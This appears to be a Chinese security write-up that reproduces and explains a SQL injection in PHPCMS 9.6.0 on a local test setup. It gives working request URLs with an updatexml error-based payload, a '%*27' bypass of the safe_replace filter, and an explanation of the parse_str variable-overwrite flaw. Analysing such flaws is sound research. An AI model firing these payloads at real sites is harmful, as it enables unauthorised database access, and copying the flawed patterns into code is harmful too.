环境:
phpstudy本地搭建phpcms
apache2.4.39+php5.3.29+mysql8.0.12
漏洞影响版本:
PHPCMS 9.6.0
复现:
1、首先访问/index.php?m=wap&c=inde&siteid=1获取cookie
2、访问/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26id=%*27%20and%20updatexml%281%2Cconcat%281%2C%28database%28%29%29%29%2C1%29%23%26m%3D1%26f%3Dhaha%26modelid%3D2%26catid%3D7%26,发送POST请求带上第一步的加密完的siteid cookie值,从而获取到一个加完密的json cookie值。
3、访问/index.php?m=content&c=down&a_k=b950ZIHtm9CsnWsrCUMoaDBeQQFT95mtUi29q6xiqhx9TREJsEUi_Z7uvaXqqYkBx5Q870nZNYk8UHuLyXHpUfD3GJXTEKQD-4PV2NR_qXjXDawlHPhDPoton4kVePOsIQVpm_ji1r-YhME_bzI3W6euoPefahowKRsIh0yX7-YByj-bzEnKk4TNzTbE,a_k的值为第二步中加密的json cookie值
成功的执行了第二部中的报错注入的代码,爆出了库名
分析:
1、wap模块代码分析
1 function __construct() { 2 $this->db = pc_base::load_model(‘content_model‘); 3 $this->siteid = isset($_GET[‘siteid‘]) && (intval($_GET[‘siteid‘]) > 0) ? intval(trim($_GET[‘siteid‘])) : (param::get_cookie(‘siteid‘) ? param::get_cookie(‘siteid‘) : 1); 4 param::set_cookie(‘siteid‘,$this->siteid); 5 $this->wap_site = getcache(‘wap_site‘,‘wap‘); 6 $this->types = getcache(‘wap_type‘,‘wap‘); 7 $this->wap = $this->wap_site[$this->siteid]; 8 define(‘WAP_SITEURL‘, $this->wap[‘domain‘] ? $this->wap[‘domain‘].‘index.php?‘ : APP_PATH.‘index.php?m=wap&siteid=‘.$this->siteid); 9 if($this->wap[‘status‘]!=1) exit(L(‘wap_close_status‘)); 10 }
从$_GET中提取了siteid的值,并且交给param类中的静态方法set_cookie。
2、跟进set_cookie方法
1 public static function set_cookie($var, $value = ‘‘, $time = 0) { 2 $time = $time > 0 ? $time : ($value == ‘‘ ? SYS_TIME - 3600 : 0); 3 $s = $_SERVER[‘SERVER_PORT‘] == ‘443‘ ? 1 : 0; 4 $var = pc_base::load_config(‘system‘,‘cookie_pre‘).$var; 5 $_COOKIE[$var] = $value; 6 if (is_array($value)) { 7 foreach($value as $k=>$v) { 8 setcookie($var.‘[‘.$k.‘]‘, sys_auth($v, ‘ENCODE‘), $time, pc_base::load_config(‘system‘,‘cookie_path‘), pc_base::load_config(‘system‘,‘cookie_domain‘), $s); 9 } 10 } else { 11 setcookie($var, sys_auth($value, ‘ENCODE‘), $time, pc_base::load_config(‘system‘,‘cookie_path‘), pc_base::load_config(‘system‘,‘cookie_domain‘), $s); 12 } 13 }
通过第4行代码获取cookie的变量名并在第11行通过sys_auth加密,从而获取第一步的ftbOk_siteid值。
3、attachment模块代码分析
1 public function swfupload_json() { 2 $arr[‘aid‘] = intval($_GET[‘aid‘]); 3 $arr[‘src‘] = safe_replace(trim($_GET[‘src‘])); 4 $arr[‘filename‘] = urlencode(safe_replace($_GET[‘filename‘])); 5 $json_str = json_encode($arr); 6 $att_arr_exist = param::get_cookie(‘att_json‘); 7 $att_arr_exist_tmp = explode(‘||‘, $att_arr_exist); 8 if(is_array($att_arr_exist_tmp) && in_array($json_str, $att_arr_exist_tmp)) { 9 return true; 10 } else { 11 $json_str = $att_arr_exist ? $att_arr_exist.‘||‘.$json_str : $json_str; 12 param::set_cookie(‘att_json‘,$json_str); 13 return true; 14 } 15 }
通过attachment模块中的attachments.php中的函数swfupload_json(),将获取的aid、src、filename变量赋值然后通过json_encode函数进行json编码,在第12行通过set_cookie对这里我们传入的变量的json编码进行加密。
第二步中的%*27是绕过第3行safe_replace()函数中str_replace对%27的过滤,导致过滤了*而%27仍然保留
4、content模块down.php代码分析
1 public function init() { 2 echo "init<br/>"; 3 $a_k = trim($_GET[‘a_k‘]); 4 if(!isset($a_k)) showmessage(L(‘illegal_parameters‘)); 5 $a_k = sys_auth($a_k, ‘DECODE‘, pc_base::load_config(‘system‘,‘auth_key‘)); 6 if(empty($a_k)) showmessage(L(‘illegal_parameters‘)); 7 unset($i,$m,$f); 8 parse_str($a_k); 9 if(isset($i)) $i = $id = intval($i); 10 if(!isset($m)) showmessage(L(‘illegal_parameters‘)); 11 if(!isset($modelid)||!isset($catid)) showmessage(L(‘illegal_parameters‘)); 12 if(empty($f)) showmessage(L(‘url_invalid‘)); 13 $allow_visitor = 1; 14 $MODEL = getcache(‘model‘,‘commons‘); 15 $tablename = $this->db->table_name = $this->db->db_tablepre.$MODEL[$modelid][‘tablename‘]; 16 $this->db->table_name = $tablename.‘_data‘; 17 $rs = $this->db->get_one(array(‘id‘=>$id));
down.php中的init()函数会自动调用,第5行对传入的a_k进行一个解密,解密之后就又变成了json编码的值
{"aid":1,"src":"&id=%27 and updatexml(1,concat(1,(database())),1)#&m=1&f=haha&modelid=2&catid=7&","filename":""}
重点在于第8行的parse_str函数,只传入了一个参数造成了$id的变量覆盖,$id的值便变成了我们传入的payload
而第17行就会对我们的传入的注入命令执行,从而报错,得到结果
最终执行语句:
SELECT * FROM `phpcmsv9_61`.`v9_download_data` WHERE `id` = ‘‘ and updatexml(1,concat(1,(database())),1)#‘ LIMIT 1
php中对parse_str()函数的使用